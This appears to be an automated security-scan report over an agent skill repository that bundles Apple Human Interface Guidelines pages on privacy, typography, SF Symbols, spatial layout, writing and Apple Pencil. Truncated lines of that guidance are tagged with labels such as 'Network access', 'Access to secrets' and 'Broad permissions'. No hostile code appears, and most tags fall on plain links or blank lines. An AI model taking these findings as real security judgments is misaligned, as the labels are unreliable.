**Be transparent about how your app collects and uses people’s data.** People are less likely to be comfortable sharing data with your app if they don’t understand exactly how you plan to use it. Always respect people’s choices to use syste - Network accessline 29
## [Requesting permission](https://developer.apple.com/design/human-interface-guidelines/privacy#Requesting-permission) - Network accessline 50
**Request permission only when your app clearly needs access to the data or resource.** It’s natural for people to be suspicious of a request for personal information or access to a device capability, especially if there’s no obvious need f - Network accessline 54
**Write copy that clearly describes how your app uses the ability, data, or resource you’re requesting.** The standard alert displays your copy (called a _purpose string_ or _usage description string_) after your app name and before the but - Network accessline 56
| Example purpose string| Notes ---|---|--- | The app records during the nig - Network accessline 57
---|---|--- | The app records during the night to detect snoring sounds.| An a - Network accessline 58
| The app records during the night to detect snoring sounds.| An active sentence - Network accessline 59
| Microphone access is needed for a better experience.| A passive sentence that provi - Network accessline 60
| Turn on microphone access.| An imperative sentence that doesn’t provide any justifi - Network accessline 70
 - Network accessline 82
 - Network accessline 88
Don’t include an option to cancel. - Network accessline 92
Don’t include an option to close the view. - Network accessline 96
### [Tracking requests](https://developer.apple.com/design/human-interface-guidelines/privacy#Tracking-requests) - Network accessline 102
There are several prohibited custom-screen designs that will cause rejection. Some examples are offering incentives, displaying a screen or window that looks like a request, displaying an image of the alert, and annotating the screen behind - Network accessline 111
Don’t offer incentives for granting the request. You can’t offer people compensation - Network accessline 115
Don’t display a custom screen that mirrors the functionality of the system alert. In - Network accessline 119
Don’t show an image of the standard alert and modify it in any way. - Network accessline 123
Don’t add a visual cue that draws people’s attention to the system alert’s Allow butt - Network accessline 127
## [Location button](https://developer.apple.com/design/human-interface-guidelines/privacy#Location-button) - Network accessline 131
 - Network accessline 170
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Network accessline 172
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Network accessline 176
**Avoid inventing custom authentication schemes.** If your app requires authentication, prefer system-provided features like [passkeys](https://developer.apple.com/documentation/authenticationservices/public-private_key_authentication/suppo - Network accessline 178
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/privacy#Platform-considerations) - Network accessline 182
### [macOS](https://developer.apple.com/design/human-interface-guidelines/privacy#macOS) - Network accessline 184
**Sign your app with a valid Developer ID.** If you choose to distribute your app outside the store, signing your app with Developer ID identifies you as an Apple developer and confirms that your app is safe to use. For developer guidance, - Network accessline 186
**Protect people’s data with app sandboxing.** Sandboxing provides your app with access to system resources and user data while protecting it from malware. All apps submitted to the Mac App Store require sandboxing. For developer guidance, - Network accessline 190
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/privacy#visionOS) - Network accessline 194
ARKit doesn’t send data to apps in the Shared Space; to access ARKit APIs, your app must open a Full Space. Additionally, features like Plane Estimation, Scene Reconstruction, Image Anchoring, and Hand Tracking require people’s permission t - Network accessline 196
In visionOS, user input is private by design. The system automatically displays hover effects when people look at interactive components you create using SwiftUI or RealityKit, giving people the visual feedback they need without exposing wh - Network accessline 198
Developer access to device cameras works differently in visionOS than it does in other platforms. Specifically, the back camera provides blank input and is only available as a compatibility convenience; the front camera provides input for [ - Network accessline 200
## [Resources](https://developer.apple.com/design/human-interface-guidelines/privacy#Resources) - Network accessline 202
#### [Related](https://developer.apple.com/design/human-interface-guidelines/privacy#Related) - Network accessline 204
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 206
[Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding) - Network accessline 208
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/privacy#Developer-documentation) - Network accessline 210
[Requesting access to protected resources](https://developer.apple.com/documentation/UIKit/requesting-access-to-protected-resources) — UIKit - Network accessline 212
[Security](https://developer.apple.com/documentation/Security) - Network accessline 214
[Requesting authorization to use location services](https://developer.apple.com/documentation/CoreLocation/requesting-authorization-to-use-location-services) — CoreLocation - Network accessline 216
[App Tracking Transparency](https://developer.apple.com/documentation/AppTrackingTransparency) - Network accessline 218
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/privacy#Videos) - Network accessline 220
[ Integrate privacy into your development process ](https://developer.apple.com/vide - Network accessline 222
[ What’s new in passkeys ](https://developer.apple.com/videos/play/wwdc2025/279) - Network accessline 224
[ What’s new in privacy ](https://developer.apple.com/videos/play/wwdc2024/10123) - Network accessline 226
## [Change log](https://developer.apple.com/design/human-interface-guidelines/privacy#Change-log)
skills/hig-foundations/references/right-to-left.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Right to left | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/right-to-left - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/right-to-left - Network accessline 9
). - Network accessline 17
## [Text alignment](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Text-alignment) - Network accessline 21
 - Network accessline 31
 - Network accessline 37
Right-aligned content - Network accessline 39
 - Network accessline 41
 - Network accessline 45
## [Numbers and characters](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Numbers-and-characters) - Network accessline 51
Western Arabic numerals - Network accessline 53
Eastern Arabic numerals - Network accessline 57
Latin - Network accessline 59
Hebrew - Network accessline 61
 - Network accessline 79
 - Network accessline 97
 - Network accessline 101
 - Network accessline 107
 - Network accessline 113
When you use [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) to supply interface icons for your app, you get variants for the RTL context and localized symbols for Arabic and Hebrew, among other langua - Network accessline 115
LTR variant of a symbol that represents text - Network accessline 123
RTL variant of a symbol that represents text - Network accessline 127
LTR variant of a symbol that depicts forwa - Network accessline 139
RTL variant of a symbol that depicts forwar - Network accessline 143
A universal symbol or mark - Network accessline 149
 - Network accessline 151
 - Network accessline 153
 - Network accessline 157
LTR variant of a symbol that includes a backslash - Network accessline 159
RTL variant of a symbol that includes a backslash - Network accessline 163
 - Network accessline 167
 - Network accessline 171
 - Network accessline 177
![A rounded rectangle that contains a black dot in the top-right corner. The outline of a magnifying glass that contains a stack of two left-aligned lines is on top of the rectangle and to the left of the dot, slanted at about 135 degrees.] - Network accessline 179
 - Network accessline 185
## [Resources](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Resources) - Network accessline 187
#### [Related](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Related) - Network accessline 189
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 191
[Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion) - Network accessline 193
[SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) - Network accessline 195
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Developer-documentation) - Network accessline 197
[Localization](https://developer.apple.com/localization/) - Network accessline 199
[Preparing views for localization](https://developer.apple.com/documentation/SwiftUI/Preparing-views-for-localization) — SwiftUI - Network accessline 201
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Videos) - Network accessline 203
[ Enhance your app’s multilingual experience ](https://developer.apple.com/videos/pl - Network accessline 205
[ Design for Arabic ](https://developer.apple.com/videos/play/wwdc2022/10034)
skills/hig-foundations/references/sf-symbols.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "SF Symbols | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sf-symbols - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/sf-symbols - Network accessline 9
 to download the app and browse the full set of symbols. Be sure to understand the terms and conditions for using SF Symbols, including the prohibition against using symbols — or im - Network accessline 17
## [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Rendering-modes) - Network accessline 23
. - Network accessline 39
 - Network accessline 43
 - Network accessline 61
Solid fill - Network accessline 63
 - Network accessline 71
 - Network accessline 81
 - Network accessline 87
`](https://developer.apple.com/doc - Network accessline 95
## [Design variants](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Design-variants) - Network accessline 103
 - Network accessline 126
Animations work on all SF Symbols in the library, in all rendering modes, weights, and scales, and on custom symbols. For considerations when animating custom symbols, see [Custom symbols](https://developer.apple.com/design/human-interface- - Network accessline 237
**Consider your app’s tone when adding animations.** When animating a symbol, think about what the animation can convey and how that might align with your brand identity and your app’s overall style and tone. For guidance, see [Branding](ht - Network accessline 239
## [Custom symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Custom-symbols) - Network accessline 241
If you need a symbol that SF Symbols doesn’t provide, you can create your own. To create a custom symbol, first export the template for a symbol that’s similar to the design you want, then use a vector-editing tool to modify it. For develop - Network accessline 262
For guidance, see [Icons](https://developer.apple.com/design/human-interface-guidelines/icons). - Network accessline 272
**Provide alternative text labels for custom symbols.** Alternative text labels — or accessibility descriptions — let VoiceOver describe visible UI and content, making navigation easier for people with visual disabilities. For guidance, see - Network accessline 276
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Platform-considerations) - Network accessline 280
## [Resources](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Resources) - Network accessline 282
#### [Related](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Related) - Network accessline 284
[Download SF Symbols](https://developer.apple.com/sf-symbols/) - Network accessline 286
[Typography](https://developer.apple.com/design/human-interface-guidelines/typography) - Network accessline 288
[Icons](https://developer.apple.com/design/human-interface-guidelines/icons) - Network accessline 290
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Developer-documentation) - Network accessline 292
[Symbols](https://developer.apple.com/documentation/Symbols) — Symbols framework - Network accessline 294
[Configuring and displaying symbol images in your UI](https://developer.apple.com/documentation/UIKit/configuring-and-displaying-symbol-images-in-your-ui) — UIKit - Network accessline 296
[Creating custom symbol images for your app](https://developer.apple.com/documentation/UIKit/creating-custom-symbol-images-for-your-app) — UIKit - Network accessline 298
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Videos) - Network accessline 300
[ What’s new in SF Symbols 7 ](https://developer.apple.com/videos/play/wwdc2025/337) - Network accessline 302
## [Change log](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Change-log)
skills/hig-foundations/references/spatial-layout.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Spatial layout | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/spatial-layout - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/spatial-layout - Network accessline 9
 - Network accessline 15
 - Network accessline 46
Because people can view your content from any angle, incorporating small amounts of depth throughout your interface — even in standard windows — can help it look more natural. When you use SwiftUI, the system adds visual effects to views in - Network accessline 48
). You can display the 3D object anywhere, or you - Network accessline 66
## [Scale](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Scale) - Network accessline 86
To support dynamic scaling and the appearance of depth, visionOS defines a point as an angle, in contrast to other platforms, which define a point as a number of pixels that can vary with the [resolution](https://developer.apple.com/design/ - Network accessline 90
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Best-practices) - Network accessline 94
**Prioritize standard, indirect gestures.** People can make an _indirect_ gesture without moving their hand into their field of view. In contrast, making a _direct_ gesture requires people to touch the virtual object with their finger, whic - Network accessline 96
**Rely on the Digital Crown to help people recenter windows in their field of view.** When people move or turn their head, content might no longer appear where they want it to. If this happens, people can press the [Digital Crown](https://d - Network accessline 98
**Include enough space around interactive components to make them easy for people to look at.** When people look at an interactive element, visionOS displays a visual hover effect that helps them confirm the element is the one they want. It - Network accessline 104
To learn more about windows and volumes in visionOS, see [Windows > visionOS](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS); for guidance on laying content within a window, see [Layout > visionOS](https://d - Network accessline 106
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Platform-considerations) - Network accessline 110
## [Resources](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Resources) - Network accessline 112
#### [Related](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Related) - Network accessline 114
[Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes) - Network accessline 116
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 118
[Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences) - Network accessline 120
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Developer-documentation) - Network accessline 122
[Presenting windows and spaces](https://developer.apple.com/documentation/visionOS/presenting-windows-and-spaces) — visionOS - Network accessline 124
[Positioning and sizing windows](https://developer.apple.com/documentation/visionOS/positioning-and-sizing-windows) — visionOS - Network accessline 126
[Adding 3D content to your app](https://developer.apple.com/documentation/visionOS/adding-3d-content-to-your-app) — visionOS - Network accessline 128
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Videos) - Network accessline 130
[ Meet SwiftUI spatial layout ](https://developer.apple.com/videos/play/wwdc2025/273 - Network accessline 132
[ Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10 - Network accessline 134
[ Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 136
## [Change log](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Change-log)
skills/hig-foundations/references/typography.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Typography | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/typography - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/typography - Network accessline 9
 - Network accessline 25
 - Network accessline 43
## [Using system fonts](https://developer.apple.com/design/human-interface-guidelines/typography#Using-system-fonts) - Network accessline 49
 - Network accessline 55
 - Network accessline 57
You can download the San Francisco and New York fonts [here](https://developer.apple.com/fonts/). - Network accessline 67
 provides a comprehensive library of symbols that integrate seamlessly with the San Francisco system font, automatically aligning with text in all weights - Network accessline 75
**Consider using the built-in text styles.** The system-defined text styles give you a convenient and consistent way to convey your information hierarchy through font size and weight. Using text styles with the system fonts also ensures sup - Network accessline 77
**Modify the built-in text styles if necessary.** System APIs define font adjustments — called _symbolic traits_ — that let you modify some aspects of a text style. For example, the bold trait adds weight to text, letting you create another - Network accessline 81
You can use the constants defined in [`Font.Design`](https://developer.apple.com/documentation/SwiftUI/Font/Design) to access all system fonts — don’t embed system fonts in your app or game. For example, use [`Font.Design.default`](https:// - Network accessline 83
**If necessary, adjust tracking in interface mockups.** In a running app, the system font dynamically adjusts tracking at every point size. To produce an accurate interface mockup of an interface that uses the variable system fonts, you don - Network accessline 85
## [Using custom fonts](https://developer.apple.com/design/human-interface-guidelines/typography#Using-custom-fonts) - Network accessline 87
**Make sure custom fonts are legible.** People need to be able to read your custom font easily at various viewing distances and under a variety of conditions. While using a custom font, be guided by the recommended minimum font sizes for va - Network accessline 89
**Implement accessibility features for custom fonts.** System fonts automatically support Dynamic Type (where available) and respond when people turn on accessibility features, such as Bold Text. If you use a custom font, make sure it imple - Network accessline 91
## [Supporting Dynamic Type](https://developer.apple.com/design/human-interface-guidelines/typography#Supporting-Dynamic-Type) - Network accessline 93
Dynamic Type is a system-level feature in iOS, iPadOS, tvOS, visionOS, and watchOS that lets people adjust the size of visible text on their device to ensure readability and comfort. For related guidance, see [Accessibility](https://develop - Network accessline 95
. You can also download Dynamic Type size tables in the [Apple Design Resources](https: - Network accessline 105
For developer guidance, see [Text input and output](https://developer.apple.com/documentation/SwiftUI/Text-input-and-output). To support Dynamic Type in Unity-based games, use [Apple’s Unity plug-ins](https://github.com/apple/unityplugins). - Network accessline 109
**Increase the size of meaningful interface icons as font size increases.** If you use interface icons to communicate important information, make sure they’re easy to view at larger font sizes too. When you use [SF Symbols](https://develope - Network accessline 111
**Keep text truncation to a minimum as font size increases.** In general, aim to display as much useful text at the largest accessibility font size as you do at the largest standard font size. Avoid truncating text in scrollable regions unl - Network accessline 113
**Consider adjusting your layout at large font sizes.** When font size increases in a horizontally constrained context, inline items (like glyphs and timestamps) and container boundaries can crowd text and cause truncation or overlapping. T - Network accessline 117
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/typography#Platform-considerations) - Network accessline 119
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS) - Network accessline 123
### [macOS](https://developer.apple.com/design/human-interface-guidelines/typography#macOS) - Network accessline 129
Dynamic font variant| API ---|--- Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\)) - Network accessline 130
---|--- Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\)) Label| [`labelFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/labelF - Network accessline 131
Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\)) - Network accessline 132
Label| [`labelFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/labelFont\(ofSize:\)) - Network accessline 133
Menu| [`menuFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/menuFont\(ofSize:\)) - Network accessline 134
Menu bar| [`menuBarFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/menuBarFont\(ofSize:\)) - Network accessline 135
Message| [`messageFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/messageFont\(ofSize:\)) - Network accessline 136
Palette| [`paletteFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/paletteFont\(ofSize:\)) - Network accessline 137
Title| [`titleBarFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/titleBarFont\(ofSize:\)) - Network accessline 138
Tool tips| [`toolTipsFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/toolTipsFont\(ofSize:\)) - Network accessline 139
Document text (user)| [`userFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/userFont\(ofSize:\)) - Network accessline 140
Monospaced document text (user fixed pitch)| [`userFixedPitchFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/userFixedPitchFont\(ofSize:\)) - Network accessline 141
Bold system font| [`boldSystemFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/boldSystemFont\(ofSize:\)) - Network accessline 142
System font| [`systemFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/systemFont\(ofSize:\)) - Network accessline 144
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS) - Network accessline 148
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/typography#visionOS) - Network accessline 152
visionOS uses bolder versions of the Dynamic Type body and title styles and it introduces Extra Large Title 1 and Extra Large Title 2 for wide, editorial-style layouts. For guidance using vibrancy to indicate hierarchy in text and symbols, - Network accessline 156
 - Network accessline 158
 - Network accessline 160
 - Network accessline 162
 - Network accessline 172
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS) - Network accessline 176
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/typography#Specifications) - Network accessline 178
You can display emphasized variants of system text styles using symbolic traits. In SwiftUI, use the [`bold()`](https://developer.apple.com/documentation/SwiftUI/Text/bold\(\)) modifier; in UIKit, use [`traitBold`](https://developer.apple.c - Network accessline 180
### [iOS, iPadOS Dynamic Type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-Dynamic-Type-sizes) - Network accessline 192
#### [xSmall](https://developer.apple.com/design/human-interface-guidelines/typography#xSmall) - Network accessline 210
#### [Small](https://developer.apple.com/design/human-interface-guidelines/typography#Small) - Network accessline 228
#### [Medium](https://developer.apple.com/design/human-interface-guidelines/typography#Medium) - Network accessline 246
#### [Large (default)](https://developer.apple.com/design/human-interface-guidelines/typography#Large-default) - Network accessline 264
#### [xLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xLarge) - Network accessline 282
#### [xxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxLarge) - Network accessline 300
#### [xxxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxxLarge) - Network accessline 318
### [iOS, iPadOS larger accessibility type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-larger-accessibility-type-sizes) - Network accessline 328
#### [AX1](https://developer.apple.com/design/human-interface-guidelines/typography#AX1) - Network accessline 346
#### [AX2](https://developer.apple.com/design/human-interface-guidelines/typography#AX2) - Network accessline 364
#### [AX3](https://developer.apple.com/design/human-interface-guidelines/typography#AX3) - Network accessline 382
#### [AX4](https://developer.apple.com/design/human-interface-guidelines/typography#AX4) - Network accessline 400
#### [AX5](https://developer.apple.com/design/human-interface-guidelines/typography#AX5) - Network accessline 418
### [macOS built-in text styles](https://developer.apple.com/design/human-interface-guidelines/typography#macOS-built-in-text-styles) - Network accessline 436
### [tvOS built-in text styles](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS-built-in-text-styles) - Network accessline 452
### [watchOS Dynamic Type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-Dynamic-Type-sizes) - Network accessline 463
#### [xSmall](https://developer.apple.com/design/human-interface-guidelines/typography#xSmall) - Network accessline 478
#### [Small (default 38mm)](https://developer.apple.com/design/human-interface-guidelines/typography#Small-default-38mm) - Network accessline 493
#### [Large (default 40mm/41mm/42mm)](https://developer.apple.com/design/human-interface-guidelines/typography#Large-default-40mm41mm42mm) - Network accessline 508
#### [xLarge (default 44mm/45mm/49mm)](https://developer.apple.com/design/human-interface-guidelines/typography#xLarge-default-44mm45mm49mm) - Network accessline 523
#### [xxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxLarge) - Network accessline 538
#### [xxxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxxLarge) - Network accessline 553
### [watchOS larger accessibility type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-larger-accessibility-type-sizes) - Network accessline 561
#### [AX1](https://developer.apple.com/design/human-interface-guidelines/typography#AX1) - Network accessline 576
#### [AX2](https://developer.apple.com/design/human-interface-guidelines/typography#AX2) - Network accessline 591
#### [AX3](https://developer.apple.com/design/human-interface-guidelines/typography#AX3) - Network accessline 606
### [Tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#Tracking-values) - Network accessline 608
#### [iOS, iPadOS, visionOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-visionOS-tracking-values) - Network accessline 616
#### [SF Pro](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Pro) - Network accessline 687
#### [SF Pro Rounded](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Pro-Rounded) - Network accessline 758
#### [New York](https://developer.apple.com/design/human-interface-guidelines/typography#New-York) - Network accessline 822
#### [macOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#macOS-tracking-values) - Network accessline 893
#### [tvOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS-tracking-values) - Network accessline 964
#### [watchOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-tracking-values) - Network accessline 971
#### [SF Compact](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Compact) - Network accessline 1042
#### [SF Compact Rounded](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Compact-Rounded) - Network accessline 1113
## [Resources](https://developer.apple.com/design/human-interface-guidelines/typography#Resources) - Network accessline 1115
#### [Related](https://developer.apple.com/design/human-interface-guidelines/typography#Related) - Network accessline 1117
[Fonts for Apple platforms](https://developer.apple.com/fonts/) - Network accessline 1119
[SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) - Network accessline 1121
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/typography#Developer-documentation) - Network accessline 1123
[Text input and output](https://developer.apple.com/documentation/SwiftUI/Text-input-and-output) — SwiftUI - Network accessline 1125
[Text display and fonts](https://developer.apple.com/documentation/UIKit/text-display-and-fonts) — UIKit - Network accessline 1127
[Fonts](https://developer.apple.com/documentation/AppKit/fonts) — AppKit - Network accessline 1129
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/typography#Videos) - Network accessline 1131
[ Get started with Dynamic Type ](https://developer.apple.com/videos/play/wwdc2024/1 - Network accessline 1133
[ Meet the expanded San Francisco font family ](https://developer.apple.com/videos/play/wwdc2022/110381) - Network accessline 1135
[ The details of UI typography ](https://developer.apple.com/videos/play/wwdc2020/10175) - Network accessline 1137
## [Change log](https://developer.apple.com/design/human-interface-guidelines/typography#Change-log)
skills/hig-foundations/references/writing.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Writing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/writing - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/writing - Network accessline 9
 - Network accessline 21
 - Network accessline 23
 - Network accessline 37
**Adopt capitalization rules that align with your app’s style, then apply them consistently.** While certain components, like [button labels](https://developer.apple.com/design/human-interface-guidelines/buttons#Content), have specific guid - Network accessline 51
**Choose the right delivery method.** There are many ways to get people’s attention, whether or not they are actively using your app. When there’s something you want to communicate, consider the urgency and importance of the message. Think - Network accessline 55
. - Network accessline 59
**Show hints in text fields.** If your app allows people to enter their own text, like account or contact information, label all fields clearly, and use hint or placeholder text so people know how to format the information. You can give an - Network accessline 61
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/writing#Platform-considerations) - Network accessline 65
## [Resources](https://developer.apple.com/design/human-interface-guidelines/writing#Resources) - Network accessline 67
#### [Related](https://developer.apple.com/design/human-interface-guidelines/writing#Related) - Network accessline 69
[Apple Style Guide](https://help.apple.com/applestyleguide/#/) - Network accessline 71
[Writing inclusively](https://help.apple.com/applestyleguide/#/apdcb2a65d68) - Network accessline 73
[Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion) - Network accessline 75
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 77
[Color](https://developer.apple.com/design/human-interface-guidelines/color) - Network accessline 79
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/writing#Videos) - Network accessline 81
[ Make a big impact with small writing changes ](https://developer.apple.com/videos - Network accessline 83
[ Writing for interfaces ](https://developer.apple.com/videos/play/wwdc2022/10037) - Network accessline 85
## [Change log](https://developer.apple.com/design/human-interface-guidelines/writing#Change-log)
skills/hig-inputs/SKILL.md
- Network accessline 118
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-inputs/references/apple-pencil-and-scribble.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Apple Pencil and Scribble | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble - Network accessline 9
. - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Best-practices) - Network accessline 23
**Help people express themselves by responding to the way they use Apple Pencil.** Apple Pencil may sense tilt (altitude), force (pressure), orientation (azimuth), and [barrel roll](https://developer.apple.com/design/human-interface-guideli - Network accessline 25
Altitude - Network accessline 27
 - Network accessline 29
 - Network accessline 47
 - Network accessline 51
 - Network accessline 55
 - Network accessline 59
**Consider using hover to support relevant interactions close to where people are marking.** For example, you might respond to hover by displaying a contextual menu of tool sizes when people perform a gesture like [squeeze](https://develope - Network accessline 61
**Prefer showing hover previews for Apple Pencil, not for a pointing device.** Although a pointing device can also respond to hover gestures, it might be confusing to provide the same visual feedback for both devices. If it makes sense in y - Network accessline 63
## [Double tap](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Double-tap) - Network accessline 71
## [Squeeze](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Squeeze) - Network accessline 73
Using Apple Pencil Pro, people can squeeze to perform an action. You can design a custom behavior that responds to squeeze, but recognize that people may choose to configure the squeeze gesture to run an [App Shortcut](https://developer.app - Network accessline 85
## [Barrel roll](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Barrel-roll) - Network accessline 91
## [Scribble](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Scribble) - Network accessline 97
**Make Scribble available everywhere people might want to enter text.** Unlike using the keyboard, using Apple Pencil encourages people to treat the screen the way they treat a sheet of paper. Help strengthen this perception in your app by - Network accessline 105
**Give people enough space to write.** A small text field can feel uncomfortable to write in. When you know that Apple Pencil input is likely, improve the writing experience in your app by increasing the size of the text field before people - Network accessline 107
 - Network accessline 111
Using [PencilKit](https://developer.apple.com/documentation/PencilKit), you can let people take notes, annotate documents and images, and draw with the same low-latency experience that iOS provides. PencilKit also makes it easy to create a - Network accessline 115
**Consider displaying custom undo and redo buttons when your app runs in a compact environment.** In a regular environment, the tool picker includes undo and redo buttons, but in a compact environment it doesn’t. In a compact environment, y - Network accessline 117
 - Network accessline 123
## [Resources](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Resources) - Network accessline 125
#### [Related](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Related) - Network accessline 127
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 129
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Developer-documentation) - Network accessline 131
[PencilKit](https://developer.apple.com/documentation/PencilKit) - Network accessline 133
[PaperKit](https://developer.apple.com/documentation/PaperKit) - Network accessline 135
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Videos) - Network accessline 137
[ Meet PaperKit ](https://developer.apple.com/videos/play/wwdc2025/285) - Network accessline 139
[ Squeeze the most out of Apple Pencil ](https://developer.apple.com/videos/play/wwd - Network accessline 141
